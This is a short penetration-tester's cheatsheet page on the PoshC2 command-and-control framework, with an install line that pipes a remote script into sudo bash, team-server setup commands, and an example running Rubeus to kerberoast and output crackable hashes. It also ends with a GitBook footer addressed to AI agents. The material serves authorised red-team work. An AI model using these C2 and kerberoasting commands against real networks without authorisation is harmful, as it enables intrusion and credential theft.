> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/c2/poshc2.md).

# PoshC2

* <https://github.com/nettitude/PoshC2>
* <https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/>
* <https://xakep.ru/2023/08/18/interstellar-c2/>
* [\[PDF\] A Deep Dive Into a PoshC2 Implant (Vlad Pasca)](https://resources.securityscorecard.com/all/poshc2-implant)

## Install

```
$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/PoshC2 -b dev
```

## Run

List projects:

```
$ posh-project -l
```

Show current project:

```
$ posh-project -c
```

Create a new project:

```
$ posh-project -n <PROJECT_NAME>
```

Adjust config:

```
$ posh-config
```

Start team server:

```
$ posh-server
```

Connect to the team server:

```
$ posh -u snovvcrash
```

## Cheatsheet

[Load](https://poshc2.readthedocs.io/en/latest/usage/loadingmodules.html) .NET assembly and run it (available for agents that load CLR):

```
C# 01> loadmodule /tmp/Rubeus.exe
C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/c2/poshc2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
